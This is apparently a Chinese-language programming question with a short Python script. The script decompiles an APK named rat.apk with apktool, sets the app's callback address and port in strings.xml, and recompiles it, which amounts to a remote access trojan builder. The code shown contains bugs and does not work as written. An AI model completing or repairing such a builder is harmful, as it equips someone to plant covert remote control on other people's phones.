我正在构建一个Python应用程序,它可以对Android APK进行一些修改和重新编译。在
代码如下:from shutil import copyfile
# Copy the APK to the output directory.
copyfile('./source/rat.apk', './output/rat.apk')
# Decompiles the APK.
subprocess.call(['apktool','d','./output/rat.apk','-f'], stdout=FNULL, stderr=subprocess.STDOUT)
# Modifies address and port.
with open('./output/RAT/app/src/main/res/values/strings.xml','w+') as netaddress:
address = netaddress.read()
address.replace('youraddress','x')
address.replace('yourport','8080')
netaddress.write(address)
print(netaddress.read())
netaddress.close()
# Recompiles it.
subprocess.call(['apktool','b','./output/RAT'], stdout=FNULL, stderr=subprocess.STDOUT)<